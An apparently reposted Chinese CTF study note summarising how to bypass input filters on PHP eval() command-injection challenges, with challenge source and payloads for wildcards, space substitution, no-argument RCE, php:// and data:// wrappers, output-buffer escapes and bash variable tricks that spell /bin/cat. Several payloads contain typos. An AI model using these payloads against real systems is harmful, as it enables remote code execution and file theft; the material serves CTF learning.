萌新總結,僅供參考的~~~~~
目錄
最常用的繞過
通配符
執行函式
cat被過濾
空格被過濾
php被過濾
無參函式讀取檔案
無參rce
數字,字母被禁
英文被禁,保留數字
全都被禁
include函式的使用
偽協議
data協議
>/del/null 2>&1(黑洞)
檔案讀取
緩沖區
Bash的內置變數繞過
特殊的
最常用的繞過
通配符
*可以匹配0或多個字符
?可以匹配任意一個字符
[abcd]匹配abcd中任意一個字符
[a-z]表示范圍a到z,表示范圍的意思[]匹配括號中任意一個字符
例如:
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在這一題中過濾掉了flag,我們就可以直接用f*或f???代替
執行函式
system()與``作用相同,但是需要echo特殊的
"\x73\x79\x73\x74\x65\x6d"()也等于system()
passthru()
exec()
shell_exec()
cat被過濾
1.tac:從最后一行開始顯示,是cat的反向顯示
2.more:一頁一頁的顯示檔案內容
3.less:與more類似
4.head:查看檔案的前幾行
5.tail:查看檔案的后幾行
6.nl:顯示的時候,順便輸入行號
7.od:以二進制的方式讀取檔案內容
8.vi:一種編輯器
9.uniq:查看
10.vim:一種編譯器
空格被過濾
1.${IFS}
2.$IFS$1
3.${IFS
4.%20空格
5.<和<>重定向符
6.%09水平制表符
php被過濾
可以直接通配符匹配
在php結構內,<?php就等于<?=
無參函式讀取檔案
無參rce
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
關于無參rce
localeconv()回傳一包含本地數字及貨幣格式資訊的陣列,第一個是小數點,
pos()取得陣列內容
scandir()查看該路徑下的目錄
array_reverse()陣列逆轉
next() 函式將內部指標指向陣列中的下一個元素,并輸出,
show_source()顯示原始碼
數字,字母被禁
英文被禁,保留數字
可以使用base64通配符進行匹配命令執行進行查看flag
?c=/???/????64 flag.php
意思/bin/base64 flag.php
其次,我們可以利用bzip2命令
可以利用/usr/bin下的bzip2
?c=/???/???/????2 ????.???
/usr/bin/bzip2 flag.php
全都被禁
第三個使用.(進行)執行sh命令
上傳post檔案資料包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST資料包POC</title>
</head>
<body>
<form action="http://ae82ef6f-deed-491d-bebf-7498e32cc9b1.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--鏈接是當前打開的題目鏈接-->
<label for="file">檔案名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后抓包,執行poc執行命令
?c=.+/???/????????[@-[]

#!/bin/sh
ls
#!/bin/sh
tac flag.php
include函式的使用
在執行函式被禁后,可以使用include函式,
例題:
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
在這一題中,多數的命令執行函式都被禁了,所以我們可以嘗試使用include函式進行繞過
?c=include"$_GET[1]"?>&1=php://filter/read=convert.base64-
encode/resource=flag.php
c包含一個get傳入的引數1,在原題的原始碼里禁用的函式只對c禁用,1是隨便用的,然后用1來讀取flag.php
偽協議
data協議
在命令執行中原始碼會使用include函式,而不是eval函式
?c=data://text/plain,<?php phpinfo();>
data會把后面的數字,字串作為php代碼執行
?c=data://text/plain,<?php system('cat fl??.php';?)
>/del/null 2>&1(黑洞)
/dev/null 2>&1,它的作用為執行某個命令不會有任何輸出
繞過的方法就是,多用一個命令,進行命令的一個組合
?c=ls;ls
?c=cat flag.php;ls
特殊的,我們使用的符號有
;
||
&&——%26%26
還有一個方法就是復制檔案或移動檔案
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt||ls
b.txt
檔案讀取
原始碼
<?php
?
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
?
*/
?
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
常見的
c=echo file_get_contents("flag.php");
使用include函式,include($_GET[a]);?a=php://filter/convert.base64-encode/resource=flag.php
高亮函式,c=highlight_file("flag.php");
show_source函式,c=show_source("flag.php");
c=include("flag.php");echo $flag;
c=include('flag.php');var_dump(get_defined_vars());
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
緩沖區
<?php
?
/*
?
# -*- coding: utf-8 -*-
?
# @Author: Lazzaro
?
# @Date: 2020-09-05 20:49:30
?
# @Last Modified by: h1xa
?
# @Last Modified time: 2020-09-07 22:02:47
?
# @email: h1xa@ctfer.com
?
# @link: https://ctfer.com
?
*/
?
error_reporting(0);
ini_set('display_errors', 0);
// 你們在炫技嗎?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?
?>
?
你要上天嗎?
函式解釋
ob_get_contents()——回傳輸出緩沖區的內容
ob_end_clean——清空(擦除)緩沖區并關閉輸出緩沖
解題的思路就是,
執行PHP的代碼,讓后面的匹配緩沖區不執行直接退出
例如payload
c=include('/flag.txt');exit(0);
c=require_once('/flag.txt');exit();
c=?><?php //前面的?>用來閉合<?
$a=new DirectoryIterator("glob:///*"); //php使用glob遍歷檔案夾
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
?>
Bash的內置變數繞過
具體含義利用~獲取變數的最后幾位,
~0獲取最后一位
~1獲取最后兩位
~[a-z]/[A-Z]獲取最后一位,等同數字0
在這要配合$PWD,$PATH
$PWD——echo $PWD會輸出當前目錄名
特殊的
一般$PATH是以bin結尾,所以${PATH:-A}為n
在hint1中,我們可知當前目錄是/var/www/html,也就是${PWD:-A}為l
我們就可以構造nl
nl flag.php
${PATH:~A}${PWD:~A} ????.???
${HOME:${#HOSTNAME}:${#SHLVL}}為t
${PWD:${Z}:${#SHLVL}}為/
/bin/cat flag.php
${PWD:${Z}:${#SHLVL}}???${PWD:${Z}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???
${#SHLVL}的值是1,所以${PWD::${#SHLVL}}的值是/
${#RANDOM}的值大概率是4或5,這就構造出4了
/bin/base64 flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???
${USER:}的最后一位為a
/bin/cat flag.php
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???
${##}和${#?}可以代替SHLVL,${PWD::${#?}}=/
/bin/rev flag.php
${PWD::${#?}}???${PWD::${#?}}${PWD:${IFS}:${#?}}?? ????.???
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/297519.html
標籤:其他
